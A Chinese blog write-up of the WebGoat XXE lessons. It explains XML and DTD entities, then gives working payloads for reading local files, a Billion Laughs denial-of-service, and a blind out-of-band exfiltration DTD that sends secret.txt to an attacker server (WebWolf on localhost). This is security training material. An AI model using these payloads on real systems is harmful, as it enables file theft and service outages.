WebGoat8.22之XML External Entities（XXE）之writeup（更新中~~）

作者： 作者的头像   NoneVector ,  2024-01-05 18:55:52 ,  所有人可见 ,  阅读 86

5


宣传一波 更好的阅读体验 👉 个人blog

XML External Entities（XXE）

本 节 课 讲 授 了 如何 执行 XML 外部 实体 攻击 ， 以及如何 滥用 和 防范 它。

0 基本概念

0.XML基础

XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准。

xml和html结构类似，不同的是：

  1. XML 被设计用来传输和存储数据。
  2. HTML 被设计用来显示数据。

XML 文档结构包括XML声明、DTD文档类型定义（可选）、文档元素（在下面DTD给的实例代码中强调了）

1.XML标签

XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。

所有的 XML 文档（以及 HTML 文档）均由以下简单的构建模块构成：

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

1.每个构建模块的简要描述

1. 元素

元素是 XML 以及 HTML 文档的主要构建模块，元素可包含文本、其他元素或者是空的。实例:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。

2. 属性

属性可提供有关元素的额外信息 实例：

<img src="computer.gif" />

3. 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

4. PCDATA

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。
被解析的字符数据不应当包含任何&，<，或者>字符，需要用& < >实体来分别替换。

5. CDATA

CDATA意思是字符数据，CDATA 是不会被解析器解析的文本，在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。

2.XML语法规则

  • XML文档必须有一个根元素

  • 区分大小写

在标记中必须注意区分大小写，在XML中，<TEST>和<test>是两个截然不同的标记

  • 要有正确的结束标记，即必须要有一个闭合标签

结束标记除了要和开始编辑在拼写和大小上完全相同，还必须在前面加上一个斜杠“/”

若开始标记<test>，结束标记则为</test>。XML严格要求标记配对，HTML中的<br>、<hr>的元素形式在XML中是不合法的。当一对标记之间没有任何文本内容时，可以不写结束标记，在开始标记的末尾加上斜杠”/”来确认，例如：<test />这样的标记被称为“空标记”。

  • 标记要正确嵌套

在一个XML元素中允许包含其他XML元素，但这些元素之间必须满足嵌套性

  • 有效使用属性，属性值必须加引号

标记中可以包含任意多个属性。在标记中，属性以名称/取值对出现，属性名不能重复，名称与取值之间用等号“=”分隔，且取值用引号引起来。

举个例子：<衣服 品牌=“耐克” 类型=“T恤” >

  • XML中空格会被保留

  • 实体引用

<note> <!-- 标题（根元素） -->
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
</note>

2.DTD

指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据。

简单来说就是DTD可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。（所以说是可选~~）

① 内部的 DOCTYPE 声明：

格式为：<!DOCTYPE 根元素 [元素声明]>

<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#PCDATA是XML约束文档中的一个概念，用于表示元素的内容是可解析的字符数据。在XML中，#PCDATA用于表示元素中包含的文本内容，它不能包含任何子元素。与CDATA不同，#PCDATA可以包含字符串、子元素和字符串与子元素的组合。在XML约束文档中，如DTD（Document Type Definition）类型约束文档，#PCDATA用于指定元素的内容或属性的取值范围等。

② 外部引用：

格式为：<!DOCTYPE 根元素 SYSTEM ” 文件名 ”>

如下xml代码引用了外部DTD，文件为“note.dtd” 

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd：

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

3.实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

简单来说：在DTD中通过<!ENTITY 实体名称 "实体的值">等方式定义实体，相当于定义变量的作用，可在文档内容中通过&实体名称；的方式引用实体的值（变量的值）。

说一个很实际的例子

XML元素以形如 <tag>foo</tag> 的标签开始和结束，如果元素内部出现如< 的特殊字符，解析就会失败，为了避免这种情况，XML用实体引用（entity reference）替换特殊字符。XML预定义五个实体引用，即用< > & ' " 替换 < > & ' " 。
实体引用可以起到类似宏定义和文件包含的效果，为了方便，我们会希望自定义实体引用，这个操作在称为 Document Type Defination（DTD，文档类型定义）的过程中进行。

注意别搞混<!ENTITY 和 <!ELEMENT

<!ENTITY 用于定义实体引用，而 <!ELEMENT 用于定义元素的结构和内容。实体引用通常用于引用外部资源，而元素定义则用于指定元素的结构和内容规则。

然后这是webgoat的解释：

一旦XML文档被解析器处理，它将用定义的常量“Jo Smith”替换定义的实体

Java应用程序中，XML可用于将数据从客户端获取到服务器，我们都熟悉JSON API，我们也可以使用XML来获取信息。大多数情况下，框架会根据 xml 结构自动填充 Java 对象，例如

实体类型:实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下：

样例 引用方式 使用范围与场景
非参数实体 <!ENTITY country "中国"> [HTML_REMOVED] 在DTD中、文档内容中均可引用，一般用来取代重复的字符串
参数实体 <!ENTITY % countrydefine "xxx元素的DTD定义内容"> %country; 仅能在DTD定义中引用，一般用来保存某段重复的DTD定义

从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下：

样例 特征与使用场景
内部实体 <!ENTITY country "中国"> 值是明确的字符串常量等，可以直接定义在本文档中
外部实体 <!ENTITY country SYSTEM "file:///D:/country.txt"> 值来源于其它文件或者网络

4.XML外部实体注入

XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。

1-3

建议看完上面的基本概念，再看一遍webgoat的，可以有更多理解

引用一位博主的话

下面是XXE注入的粗略理解（确实粗略易懂）

XML声明，一般没啥，约束而已，都会写上

版本编码<?xml version=”1.0” encoding=”UTF-8”?> 文档类型定义(DTD)

重点在这！可以引用内部外部的实体

如：<!ENTITY % name SYSTEM “file:///etc/passwd">%name;引用了不就调用了，是不是有点类似文件包含？这个实际上就是把“file:///etc/passwd”赋值给name，那如果file:///etc/passwd用户可控呢？改成http协议呢？没听懂，再解释一遍吧

XML外部实体 ‘name’ 被赋予的值为：file://etc/passwd。在解析XML文档的过程中，实体’ name’的值会被替换为URI(file://etc/passwd)内容值（也就是passwd文件的内容）。 关键字’SYSTEM’会告诉XML解析器，’ name’实体的值将从其后的URI中读取，并把读取的内容替换name出现的地方。假如 SYSTEM 后面的内容可以被用户控制，那么用户就可以随意替换为其他内容，从而读取服务器本地文件（file:///etc/passwd)或者远程文件（http://www.baidu.com/zzyy.txt）]> <元素名称 category=“属性”>文本或其他元素[HTML_REMOVED]

总结一下：XXE注入，即XML External Entity，XML外部实体注入。通过 XML 实体，”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值，是处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

ENTITY 实体，在一个甚至多个XML文档中频繁使用某一条数据，我们可以预先定义一个这条数据的“别名”，即一个ENTITY，然后在这些文档中需要该数据的地方调用它。

原文链接：https://blog.csdn.net/zy15667076526/article/details/109560492

4.

在此作业中，您将为照片添加注释，在提交表单时尝试执行 XXE 使用注释字段进行注入。尝试列出文件系统的根目录。

先抓包看看

你可以看发送的数据包携带的数据是xml,说明用户可控

<?xml version="1.0"?><comment><text>666</text></comment>

添加payload

<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'> 
<!-- file:// 表示这是一个文件协议的URL，/C:/ 表示C盘的根目录。-->
]>
<comment><text>
&flag;
</text></comment>

就可以看到flag了，并且评论区也有返回的数据

5-6

5是指导你攻击的，6是代码审计角度发现XXE

XXE prevention sheet

7

在现代REST框架中，服务器可能能够接受您作为开发人员没有想到的数据格式。因此，这可能会导致 JSON 端点容易受到 XXE 攻击。

同样是相同的练习，但尝试执行与第一次赋值相同的 XML 注入。

这里我们同样是发送评论抓包

发现Content-Type:application/json，即json模式的

但是根据提示没有只接收json文件，这里直接换成application/xml就行了

把下面的数据部分换成

<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'> 
]>
<comment><text>
&flag;
</text></comment>

8.

对第7题的解释

9.

这个挺有意思的，利用XXE进行DOS攻击

案例

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当 XML 解析器加载此文档时，它会看到它包含一个根元素“lolz”，其中包含文本“[HTML_REMOVED]”。但是，“[HTML_REMOVED]”是一个已定义的实体，它扩展为包含十个“[HTML_REMOVED]”字符串的字符串。每个“[HTML_REMOVED]”字符串都是一个定义的实体，可扩展为十个“[HTML_REMOVED]”字符串，依此类推。在处理完所有实体扩展后，这个小的 （< 1 KB） XML 块实际上将占用近 3 GB 的内存。

这被称为”Billion laughs”

维基百科（需要梯子）

10.

展示了如何通过 Blind XXE 攻击 ping 服务器

11就是实操

11.

根据题意，盗取 目标服务器上的

C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt

提示我们可以尝试使用 WebWolf 的landing页面上传此文件：http://localhost:9090/landing

WebGoat是当前论坛服务器，里面有我们的目标文件secret.txt
WebWolf是入侵者的服务器，托管了一个attack.dtd攻击文件

流程：
入侵者进入被害者的论坛，发送信息同时用Burp拦截请求，修改自己的评论内容使其远程链接到入侵者的WebWolf网站的attack.dtd文件，attack.dtd文件读取了被害者服务器中的文件信息，被害者服务器将该私密信息返回到论坛中并显示在网页上。

创建attack.dtd文件

注意需要获取的文件换成你的

file用于获取目标服务器上的文件

print用于发送到webwolf，这个请求会被拦截

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
<!-- &#37; 是一个字符实体引用，代表百分号（%）。确保了百分号不会被误解为XML标记的一部分。 -->

然后随便发送评论burp抓包,在结尾加上payload ，注意下面的url中的username换成你的，attack.dtd文件名也不能出错

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://localhost:9090/files/username/attack.dtd">
%dtd;
%print;
%send;
]>
<comment>  <text>cute</text></comment>

去webwolf看收到的数据(url后面的text)

{
  "timestamp" : "2024-01-05T09:03:11.930091100Z",
  "principal" : null,
  "session" : null,
  "request" : {
    "method" : "GET",
    "uri" : "http://localhost:9090/landing?text=WebGoat%208.0%20rocks...%20(AgzOeuyeHm)",
    "headers" : {
      "Accept" : [ "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2" ],
      "Connection" : [ "keep-alive" ],
      "User-Agent" : [ "Java/17.0.9" ],
      "Host" : [ "localhost:9090" ]
    },
    "remoteAddress" : null
  },
  "response" : {
    "status" : 200,
    "headers" : { }
  },
  "timeTaken" : 11
}

最后解密出来时

WebGoat 8.0 rocks... (AgzOeuyeHm)

把这个发送到评论就行了

简述一下过程：发送修改的数据—>%dtd;访问攻击者服务器上的dtd文件—>调用print声明send，调用send，send会再调用file，file用于获取目标服务器上的文件，send发送给攻击者服务器，攻击者服务器获取数据后解析

疑问：

1.这里为什么需要嵌套

<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

答：我试过后看了返回的数据

"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[5,7]\\nMessage: Server returned HTTP response code: 400 for URL: http:\\/\\/localhost:9090\\/landing?text=%file;]"
# 400 Bad Request 是由于明显的客户端错误（例如，格式错误的请求语法，太大的大小，无效的请求消息或欺骗性路由请求），服务器不能或不会处理该请求。

嵌套应该是为了防止实体用于表示一些无法直接表示的字符或结构（个人猜测）

2.为什么print后还需要send，print不是会调用send吗

%dtd;
%print;
%send;

答：没有调用，仅仅时声明了实体，而send会直接调用file

12-13

讲了xxe和缓解措施和用过静态代码分析查找xxe问题

0 评论

1024
x